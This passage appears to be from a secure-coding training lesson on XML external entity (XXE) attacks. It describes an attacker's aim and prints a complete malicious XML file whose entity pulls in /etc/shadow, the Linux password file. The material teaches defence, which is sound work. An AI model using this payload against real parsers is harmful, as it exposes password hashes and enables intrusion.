Want everyone on your software team to learn this? Free 14-day trial.
Train my teamHe crafts a malicious XML file with an external reference to the path /etc/shadow - a file that
commonly holds password information on Linux systems. His hope is that when the XML is parsed, the
parser will expand this file inline, revealing sensitive information to him.

malicious.xml<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xrds [
<!ENTITY passwords SYSTEM "file:///etc/shadow">
]>
<xrds>
&passwords;
</xrds>